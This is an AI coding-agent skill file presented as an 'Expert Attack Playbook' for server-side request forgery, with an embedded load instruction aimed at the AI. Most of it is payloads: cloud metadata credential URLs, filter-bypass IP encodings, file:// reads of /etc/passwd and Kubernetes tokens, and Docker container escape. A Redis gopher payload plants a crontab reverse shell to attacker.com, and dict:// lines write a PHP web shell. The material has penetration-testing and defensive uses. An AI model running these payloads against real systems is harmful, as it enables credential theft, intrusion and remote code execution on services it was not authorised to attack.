ssrf-server-side-request-forgery — Claude Code skill

---
name: ssrf-server-side-request-forgery
description: >-
  SSRF playbook. Use when the server fetches URLs, resolves hostnames, imports remote content, or can be driven toward internal networks, cloud metadata, or secondary protocols.
---

# SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion [SCENARIOS.md](./SCENARIOS.md).

## 0. QUICK START

### Extended Scenarios

Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
- WebLogic SSRF (CVE-2014-4210) — `uddiexplorer/SearchPublicRegistries.jsp` + `operator` parameter + `%0D%0A` CRLF to inject Redis commands
- SSRF → internal Redis → write crontab reverse shell complete payload chain
- DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution, `rbndr.us` service
- Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
- SSRF through PDF/screenshot generators — `<iframe>` and `<img>` in HTML-to-PDF
- Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
- URL parser confusion for filter bypass — `#@`, `\@`, `%00@`, IPv6-mapped IPv4

### Advanced Reference

Also load [URL_PARSER_TRICKS.md](./URL_PARSER_TRICKS.md) when you need:
- URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
- Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
- gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
- DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques

If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.

### First-pass payloads

```text
http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/
```

### Host validation bypass families

| Validation Type | Try |
|---|---|
| blocks `localhost` string | `127.0.0.1`, `127.1`, `[::1]` |
| blocks direct IP only | internal DNS name, decimal/octal/hex IP forms |
| allowlist by prefix | username part, subdomain confusion, redirect chain |
| follows redirects | benign external URL redirecting to internal target |
| parses once, fetches twice | mixed encoding or DNS rebinding style targets |

### Protocol routing

| Goal | Protocol / Target |
|---|---|
| cloud credentials | metadata HTTP endpoints |
| internal HTTP admin | `http://127.0.0.1:port/` |
| Redis / raw TCP style abuse | `gopher://` |
| local file read candidate | `file://` |
| dictionary / banner tests | `dict://` |

---

## 1. FINDING SSRF SURFACE

Look for **any parameter containing DNS names, IP addresses, or URLs**:

```
loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=
```

**Less obvious SSRF vectors**:
- PDF/screenshot generation (URL to capture)
- Webhook configuration fields
- Import/export via URL (CSV import, RSS/Atom feeds)
- OAuth redirect URI (sometimes triggers server-side fetch)
- `X-Forwarded-Host` / `X-Real-IP` headers in proxy chains
- XML `DOCTYPE` with external entity (`file://`, `http://`)
- GraphQL `@link` directive (federation)
- Content-Type: `text/html` pages parsed for `<link>` preload headers

---

## 2. BASIC CONFIRMATION METHODOLOGY

```
Step 1: Supply your Burp Collaborator / interact.sh URL
        → Check server initiates outbound connection (full SSRF confirmed)

Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
        Compare response time for:
        http://192.168.1.1:22   (likely open → fast)
        http://192.168.1.1:9999 (likely closed → slow/timeout)

Step 3: Try accessing localhost services:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — critical!)
        http://127.0.0.1:4840  (internal admin)
```

---

## 3. CLOUD METADATA ENDPOINTS — MUST-TRY

### AWS EC2 IMDSv1 (no auth required — critical)
```
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
```

### AWS IMDSv2 (token required — but check if SSRF can GET the token)
```
Step 1: PUT http://169.254.169.254/latest/api/token
        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
Step 2: GET http://169.254.169.254/latest/meta-data/
        Header: X-aws-ec2-metadata-token: TOKEN
```
**If SSRF supports custom headers → full IMDSv2 bypass**.

### Google Cloud
```
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google
```

### Azure
```
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
```

### Alibaba Cloud
```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
```

### Kubernetes Service Account
```
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets
```

---

## 4. IP ADDRESS FILTER BYPASS TECHNIQUES

When `169.254.169.254`, `127.0.0.1`, `localhost` are blocked:

### Localhost Variants
```
127.0.0.1
127.1
127.0.1
127.000.000.001    ← octal padding
0x7f000001         ← hex
2130706433         ← decimal (0x7f000001)
0177.0000.0000.0001  ← octal
[::]               ← IPv6 loopback
[::1]              ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6
```

### 169.254.169.254 Variants
```
169.254.169.254
2852039166               ← decimal
0xa9fea9fe               ← hex
0251.0376.0251.0376      ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS rebinding service
```

### Private Network Ranges
```
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 private
```

### Bypass Filter via DNS Input
If filter checks DNS-resolved IP (not hostname):
```
http://attacker.com/  ← DNS A record points to 169.254.169.254
```
Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.

---

## 5. URL SCHEME ATTACKS

When `http://` is allowed or weakly filtered:

```
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← reveals internal network ARP table
file:///proc/net/tcp   ← open network connections

dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://

gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/     ← triggers LDAP bind
ftp://attacker.com/          ← triggers FTP connection
```

### Redis Gopher SSRF (full RCE potential)
```
gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
```

---

## 6. BLIND SSRF DETECTION

When response doesn't reflect fetched content:

1. **Burp Collaborator / interact.sh**: check for DNS + HTTP request from server
2. **Pingback/webhook abuse**: configure application's own webhook to your URL
3. **Timing analysis**: Internal open port vs closed port response time difference
4. **Error analysis**: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology

---

## 7. INTERNAL SERVICE EXPLOITATION

### Docker API (2375 unauthenticated)
```
http://127.0.0.1:2375/v1.24/containers/json      ← list containers
http://127.0.0.1:2375/v1.24/images/json          ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
```

### Elasticsearch (9200 no-auth default)
```
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*
```

### Redis (6379 — no-auth common)
```
dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE
```

### Internal Admin Panels
```
http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump
```

---

## 8. SSRF + FILTER BYPASS DECISION TREE

```
SSRF parameter found?
├── Try http://169.254.169.254/ directly → blocked?
│   ├── Try decimal/hex/octal variants
│   ├── Try IPv6 variants [::ffff:169.254.169.254]
│   ├── Try DNS rebinding (nip.io, custom NS)
│   └── Try redirect: attacker.com → 169.254.169.254 (302)
│
├── Try http://127.0.0.1/ → blocked?
│   ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── Try localhost → might not be blocked
│   └── Try IPv6 [::1]
│
├── What protocols are allowed?
│   ├── dict:// → test Redis, Memcached
│   ├── gopher:// → full TCP data injection (target Redis/SMTP)
│   ├── file:// → local file read
│   └── sftp:// ldap:// ftp:// → network interactions
│
└── Blind SSRF → use Burp Collaborator
    └── DNS-only → use DNS rebinding or SSRF with OOB DNS
```

---

## 9. THE SSRF-FILTER MINDSET

From zseano's methodology: **if developers filter only `169.254.169.254` directly but not `http://169.254.169.254/latest/meta-data`** (full path), or forget about:
- IPv6 equivalents  
- DNS names that resolve to internal IPs
- Redirect chains (server follows 302 to internal IP)

**Classic gap**: App filters `127.0.0.1` but not `127.1` or `[::1]` or `localhost`.

**Application-layer SSRF via XML** (when app parses XML):
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>
```